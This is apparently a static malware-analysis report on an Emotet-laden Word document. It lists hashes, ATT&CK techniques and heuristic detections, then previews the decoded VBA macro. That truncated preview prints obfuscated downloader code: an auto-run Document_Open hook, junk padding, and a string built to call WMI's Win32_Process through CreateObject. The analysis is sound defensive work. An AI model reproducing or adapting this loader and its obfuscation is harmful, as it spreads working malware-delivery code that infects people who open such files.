Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 2fac6d97d7ab1185…

MALICIOUS

Office (OLE)

220.7 KB Created: 2020-08-26 23:43:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 2848833de66905cd386799da367ac0cb SHA-1: ff08fbb32dfcff49fb95136a090bd251997e97c5 SHA-256: 2fac6d97d7ab1185a74026d8d2574eaf39efdf0518f4f6ed63cb951a76003b15
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a VBA macro that is automatically executed upon opening the document, as indicated by the 'Document_Open' macro and the 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic. The macro utilizes a hidden UserForm and a command stager, a common technique for downloading and executing further malicious content. ClamAV detection further confirms its malicious nature, identifying it as 'Doc.Downloader.EmotetRed02226-9938639-0', which is strongly associated with the Emotet family.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10513 bytes
SHA-256: 7912896d1858c44727ea86953294f724eedaa3aecd60f65444ceed7f6c94a68b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Dom7dksfxrmilh"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Dptwnp5lyo3eo.R2cwy5r8adnkz0
End Sub


Attribute VB_Name = "Dptwnp5lyo3eo"
Attribute VB_Base = "0{186A958A-8B35-4C33-BB9E-8B66994332D1}{C12F8B85-FC0E-49A7-AED2-A2209ADD1350}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function R2cwy5r8adnkz0()
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Dptwnp5lyo3eo.Hlwhggdkxxlecbdvj
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
Tzz1i3tchgihkhxtkp = dw + 45 + ee + 55
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Dptwnp5lyo3eo.Hlwhggdkxxlecbdvj
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
E_baxa8al5jb = ChrW(Tzz1i3tchgihkhxtkp + (fqd + 10 + vvvv + 5))
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Dptwnp5lyo3eo.Hlwhggdkxxlecbdvj
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
Py4547624h126pxa = "[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]aw[[[372vfr56 61fs[][324 24 2ds[]ai[[[372vfr56 61fs[][324 24 2ds[]anm[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]agm[[[372vfr56 61fs[][324 24 2ds[]at[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a" + E_baxa8al5jb + "[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a:[[[372vfr56 61fs[][324 24 2ds[]aw[[[372vfr56 61fs[][324 24 2ds[]ain[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a3[[[372vfr56 61fs[][324 24 2ds[]a2[[[372vfr56 61fs[][324 24 2ds[]a_[[[372vfr56 61fs[][324 24 2ds[]a" + Dptwnp5lyo3eo.Hlwhggdkxxlecbdvj + "[[[372vfr56 61fs[][324 24 2ds[]aro[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]ace[[[372vfr56 61fs[][324 24 2ds[]as[[[372vfr56 61fs[][324 24 2ds[]as[[[372vfr56 61fs[][324 24 2ds[]a"
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Dptwnp5lyo3eo.Hlwhggdkxxlecbdvj
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
Fowqyvjmnsmdg = Nkdrlxk7c2cij8zqdr(Py4547624h126pxa)
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Dptwnp5lyo3eo.Hlwhggdkxxlecbdvj
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
Set Z8nrbm1fto0q8i9 = CreateObject(Fowqyvjmnsmdg)
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Dptwnp5lyo3eo.Hlwhggdkxxlecbdvj
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
K5jh53xuamq = Dptwnp5lyo3eo.Fazig27qwkjo1.ControlTipText
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Dptwn
... (truncated)